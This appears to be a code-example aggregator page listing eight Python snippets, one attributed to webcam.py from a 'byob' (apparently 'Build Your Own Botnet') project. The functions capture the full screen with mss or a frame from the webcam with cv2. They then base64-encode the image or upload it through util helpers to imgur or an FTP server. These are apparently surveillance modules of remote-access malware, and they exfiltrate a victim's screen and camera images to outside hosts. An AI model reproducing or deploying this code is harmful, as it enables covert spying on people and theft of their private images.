示例#1
0
def run():
    """
    Capture a screenshot

    """
#    try:
    with mss.mss() as screen:
        img = screen.grab(screen.monitors[0])
    data = util.png(img)
    return base64.b64encode(data)
示例#2
0
def screenshot(method):
    try:
        if method in ('ftp', 'imgur') and hasattr(util, method):
            with mss.mss() as screen:
                img = screen.grab(screen.monitors[0])
            png = util.png(img)
            result = util.imgur(png)
            return getattr(util, method)(result)
    except Exception as e:
        util.debug("{} error: {}".format(self.screenshot.func_name, str(e)))
示例#3
0
def run():
    """ 
    Capture a screenshot

    """
    try:
        with mss.mss() as screen:
            img = screen.grab(screen.monitors[0])
        return util.png(img)
    except Exception as e:
        util.log("{} error: {}".format(run.__name__, str(e)))
示例#4
0
def run():
    """
    Capture a screenshot

    """
    try:
        with mss.mss() as screen:
            img = screen.grab(screen.monitors[0])
        data = util.png(img)
        return base64.b64encode(data)
    except Exception as e:
        return "{} error: {}".format(run.__name__, str(e))
示例#5
0
def image(*args, **kwargs):
    try:
        dev = cv2.VideoCapture(0)
        r,f = dev.read()
        dev.release()
        if not r:
            util.debug(f)
            return "Unable to access webcam"
        png = util.png(f)
        return util.imgur(png) if 'ftp' not in args else util.ftp(png, filetype='.png')
    except Exception as e:
        return '{} error: {}'.format(image.func_name, str(e))
示例#6
0
def image(*args, **kwargs):
    try:
        dev = cv2.VideoCapture(0)
        time.sleep(0.5)
        r, f = dev.read()
        dev.release()
        if not r:
            util.log(f)
            return "Unable to access webcam"
        img = util.png(f)
        return base64.b64encode(img)
    except Exception as e:
        return '{} error: {}'.format(image.func_name, str(e))
示例#7
0
文件: webcam.py 项目: hmz777/byob
def image(*args, **kwargs):
    try:
        dev = cv2.VideoCapture(0)
        time.sleep(0.5)
        r,f = dev.read()
        dev.release()
        if not r:
            util.log(f)
            return "Unable to access webcam"
        img = util.png(f)
        return base64.b64encode(img)
    except Exception as e:
        return '{} error: {}'.format(image.__name__, str(e))
示例#8
0
def screenshot(method):
    try:
        assert isinstance(
            method, str), "argument 'method' must be of type '{}'".format(str)
        if 'mss' in globals():
            if method in ('ftp', 'imgur') and hasattr(util, method):
                with mss.mss() as screen:
                    img = screen.grab(screen.monitors[0])
                png = util.png(img)
                result = util.imgur(png)
                return getattr(util, method)(result)
            else:
                util.debug(
                    "invalid upload method '{}' for module 'screenshot' (valid: ftp, imgur)"
                    .format(method))
        else:
            import mss
            return screenshot(method)
    except Exception as e:
        util.debug("{} error: {}".format(self.screenshot.func_name, str(e)))